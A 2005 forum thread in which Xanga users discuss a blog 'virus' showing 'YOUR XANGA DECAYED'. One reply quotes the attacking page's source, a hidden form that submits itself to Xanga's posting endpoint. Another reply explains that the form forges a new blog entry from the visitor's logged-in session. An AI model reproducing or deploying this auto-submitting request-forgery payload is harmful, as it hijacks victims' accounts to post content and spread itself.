hacker? Options

[yoyorks]

my xanga has a virus or something. is there anyway to fix it?

xanga.com/xx_sandra_xx

don't go there while signed in you account or you'll get the virus........

the page says "YOUR XANGA DECAYED"

plz help me
thank you

This post has been edited by x_angawhomps: Feb 22 2005, 02:30 AM

[hoogli]

it's in the source code. i looked.

here is the code for http://free.hostultra.com/~decay2/decay.php (DON'T CLICK THAT LINK) ...it's long

<script language="JavaScript" src="/root/hostultra.php"></script>
<title>Decayed</title>
<center><font size=7>YOUR XANGA DECAYED</font></center>
<form name="myform" method="post" action="http://www.xanga.com/private/xtools/xtoolsclassic.aspx?plain=1" id="_ctl3"><input type="hidden" name="__VIEWSTATE" value="dDwyMTM3MDU0NDg2O3Q8cDxsPFdlYmxvZ0lkO0lzUmljaFRleHQ7PjtsPGk8MD47RmFsc2U7Pj4
bDxpPDI+Oz47bDx0PHA8bDxvb script: return XagazonSearch()" type="button" value="Search »" style="DISPLAY: none" ><input name="xztitle1" type="text" id="xztitle1" style="DISPLAY: none" /><input name="xztitle2" type="text" id="xztitle2" style="DISPLAY: none" /><input name="xzasin1" id="xzasin1" type="hidden" size="2" /><input id="radAccess_0" type="radio" name="radAccess" value="1" checked="checked" style="DISPLAY: none" /><label for="radAccess_0"></label><input id="radAccess_1" type="radio" name="radAccess" value="2" style="DISPLAY: none"/><label for="radAccess_1"></label><input id="radAccess_2" type="radio" name="radAccess" value="3" style="DISPLAY: none" /><label for="radAccess_2"></label><input id="chkComments" type="checkbox" name="chkComments" checked="checked" style="DISPLAY: none" /><label for="chkComments"></label></td><input type="text" name="btnSubmit" value="Submit" id="btnSubmit" onclick="flag=2;Send();" style="display:none" />&nbsp;<input name="btnCancel" id="btnCancel" type="button" value="Cancel" onclick="var x=confirm('Are you sure you want to cancel this post?');if (x==true){flag=2;window.location.href='/Private/home.aspx?user=';} else return false;" style="DISPLAY: none" /><input name="txtUserId" type="text" value="1865377" id="txtUserId" style="display:none" style="DISPLAY: none" /><input name="xbgcolor" id="xbgcolor" type="hidden" /> <input name="xbordercolor" id="xbordercolor" type="hidden" /><input name="xcontent" id="xcontent" type="hidden" />&nbsp;<input id="xcopypost" name="xcopypost" type="hidden"></form><script>document.myform.submit();</script>"));

[coyote]

it's in the source code. i looked.

here is the code for http://free.hostultra.com/~decay2/decay.php  (DON'T CLICK THAT LINK) ...it's long

There's the magic. That doesn't open up the new web blog entries. That fakes a form of the new web blog entries and automatically submits a new web entry. There's an easy way to prevent this script from working if Xanga haven't already figured it out by now.